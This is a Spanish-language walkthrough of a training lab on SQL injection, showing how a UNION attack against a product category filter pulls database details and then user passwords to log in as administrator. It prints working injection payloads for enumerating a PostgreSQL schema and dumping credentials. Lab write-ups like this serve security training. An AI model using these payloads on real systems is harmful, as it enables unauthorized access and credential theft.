Entrada

SQLI Lab 10

SQLI Lab 10

Skills

  • SQL injection UNION attack, retrieving multiple values in a single column

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una vulnerabilidad de inyección SQL en el filtro de categoría de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que hay que utilizar un ataque UNION para recuperar datos de otras tablas. La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Para resolver el laboratorio, hay que realizar un ataque de inyección SQL UNION que recupere todos los nombres de usuario y contraseñas, y utilizar la información para iniciar sesión como el usuario administrador


Resolución

Al acceder a la web nos sale esto

Si hacemos click en alguno de los filtros, nos filtrará los artículos por esta categoría

Capturamos la petición con Burpsuite y añadimos una comilla simple '

Si enviamos esta petición nos devolverá un Internal Server Error, lo cual quiere decir que estamos interfiriendo con la consulta SQL que se está produciendo

Si usamos este payload mediante el cual añadimos una comparación que siempre es verdad como 1=1, ignoramos el resto de la consulta SQL con -- - y enviamos la petición nuevamente no obtenemos ningún fallo, lo que quiere decir que la inyección SQL ha sido exitosa

1
/filter?category=Gifts'+or+1=1--+-+

Usando order by podemos saber el número de columnas que tiene la tabla, empleando este payload el resultado es un 200 OK

1
/filter?category=Gifts'+order+by+2--+-+

Sin embargo, si empleamos este otro payload donde hacemos order by 3, nos devuelve un Internal Server Error, esto se debe a que al no existir tres columnas nos arroja un fallo

1
/filter?category=Gifts'+order+by+3--+-+

Una vez sabemos el número de columnas, usando union select vamos a obtener la información, en este caso, como no hemos recibido ningún error, podemos descartar que la base de datos usada sea Oracle debido a que en Oracle debemos añadir from dual al final, de lo contrario, nos arrojará un error

1
/filter?category=Gifts'+union+select+null,null--+-+

Confirmamos la base de datos en uso y también el su versión

1
/filter?category=Gifts'+union+select+null,version()--+-+

Listamos el nombre de todas las bases de datos

1
/filter?category=Gifts'+union+select+null,string_agg(datname,',')+from+pg_database--+-+

Listamos la base de datos actual

1
/filter?category=Gifts'+union+select+null,current_database()--+-+

Listamos los esquemas para la base de datos en uso

1
/filter?category=Gifts'+union+select+null,schema_name+from+information_schema.schemata--+-+

Listamos el nombre de las tablas

1
/filter?category=Gifts'+union+select+null,table_name+from+information_schema.tables+where+table_schema='public'--+-+

Listamos las columnas de la tabla users

1
/filter?category=Gifts'+union+select+null,string_agg(column_name,',')+from+information_schema.columns+where+table_name='users'--+-+

Listamos el contenido de la columna username y password

1
/filter?category=Gifts'+union+select+null,string_agg(username||':'||password,',+')+from+users--+-+

Nos logueamos con las credenciales del usuario administrador

Esta entrada está licenciada bajo CC BY 4.0 por el autor.